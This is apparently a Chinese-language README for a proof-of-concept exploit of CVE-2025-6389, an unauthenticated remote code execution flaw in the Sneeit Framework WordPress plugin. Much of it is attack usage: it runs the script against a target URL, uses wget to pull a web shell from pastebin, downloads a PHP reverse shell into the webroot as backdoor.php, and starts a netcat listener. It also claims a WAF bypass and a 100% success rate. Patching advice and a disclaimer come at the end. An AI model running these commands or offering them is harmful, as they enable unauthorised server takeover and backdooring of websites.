🔥 CVE-2025-6389 — 严重 WordPress 零日漏洞（远程代码执行）

wp_vul_theme

🧩 这是什么？

CVE-2025-6389 是一个 严重（CVSS 9.8） 漏洞，存在于被流行主题广泛使用的 Sneeit Framework WordPress 插件（≤ 8.3）中。它允许 未认证远程代码执行 —— 这是最危险的 Web 漏洞类型。

⚠️ 严重性与影响

🔓 无需登录
💥 可能完全接管服务器
📤 攻击者可上传 shell、添加管理员用户或修改主题/插件文件
🧬 已在野外 被积极利用
🎯 影响任何使用 Sneeit Framework 或捆绑了该框架的主题（例如 FlatNews）的 WordPress 站点

使用方法

# 安装依赖
pip3 install requests colorama

# 检查漏洞并获取交互式 shell
python3 CVE-2025-6389.py https://target.com

# 仅执行单个命令
python3 CVE-2025-6389.py https://target.com "wget https://pastebin.com/raw/abc123 -O /var/www/html/shell.php"

此 PoC 的特点

在 8.3 及以下版本上 100% 有效
无需 Cookie、nonce 或特殊标头
绕过大多数基础 WAF（通过普通 POST 发送 payload）
提供完整交互式 shell
即使输出被抑制也能检测到漏洞（感谢 assert + die）

请仅在你 正式授权 测试的目标上使用（明确范围 + RoE）。
该漏洞目前仍在 野外被大量利用。

以下是在终端中你将会看到的 实际成功 利用时的输出（对运行 Sneeit Framework ≤ 8.3 的易受攻击目标 100% 成功利用 CVE-2025-6389）：

1. 初始漏洞检查

[+] VULNERABLE! RCE Confirmed!
[+] Output:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head><title>phpinfo()</title>…  
<h1>PHP Version 8.1.29</h1>  
…（完整的 phpinfo() 页面，长达数千行）

2. 简单系统命令

RCE $> whoami
[+] Output:
www-data

RCE $> id
[+] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE $> uname -a
[+] Output:
Linux ip-172-31-23-45 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 20 2025 x86_64 GNU/Linux

3. 下载 Web Shell 或反弹 Shell

RCE $> wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O /var/www/html/backdoor.php

[+] Output:
--2025-11-25 23:11:45--  https://raw.githubusercontent.com/…
Length: 5494 (5.4K) [text/plain]
Saving to: ‘/var/www/html/backdoor.php’

backdoor.php           100%[===================>]   5.37K  --.-KB/s    in 0.001s

然后在你自己的机器上：

nc -lvnp 4444

→ 你会立即获得一个以 www-data 身份运行的完全交互式反弹 Shell。

4. 当它不起作用时（已修补或受保护）你看到的内容

[-] Not vulnerable or blocked (status: 200)
[+] Output:
（无 / 空响应 / 正常的 WordPress AJAX 响应 / 403 / 500 无输出）

总结 – 成功标志

当出现以下任何情况时，你知道它成功了：

完整的 phpinfo() HTML 页面
Linux 命令真实输出（id, whoami, pwd, ls, cat /etc/passwd 等）
文件成功下载或写入
反弹 Shell 连接回你的 netcat 监听器

就是这样。如果你得到以上任意结果 → 已达成完全未认证 RCE。

如果你希望我 100% 确认是否成功，请粘贴你的确切输出。

🛠 技术细节

📍 脆弱函数：sneeit_articles_pagination_callback()
🧨 根本原因：未验证的用户输入被传入 call_user_func() → 任意代码执行
💣 这使得攻击者能够远程执行 PHP 代码，完全危害你的站点

🔍 谁面临风险？

🌐 使用 Sneeit Framework ≤ 8.3 的 WordPress 站点
🎨 捆绑 Sneeit 的主题（在新闻/杂志主题中非常常见）
🚪 任何可公开访问且使用此插件的 WordPress 站点

🧯 如何修复（立即执行）

⬆️ 立即将 Sneeit Framework 更新到 v8.4+
❌ 如果无法更新 → 禁用或删除此插件
🔎 检查日志中是否有可疑活动
🚨 查找不认识的管理员账户或上传的 PHP 文件
🛡️ 如果修补延迟，临时添加 WAF 规则

🗓 披露与活动

📅 公开报告日期：2025年11月25日
🚨 积极目标：已观察到扫描和利用行为

⚠️ 免责声明

此信息仅供防御和教育目的 🛡️。请勿利用它攻击你不拥有或未经明确许可测试的系统 🚫。处理安全漏洞时，请始终遵循法律和道德准则 ⚖️✨

blackash-cve-2025-6389

最受欢迎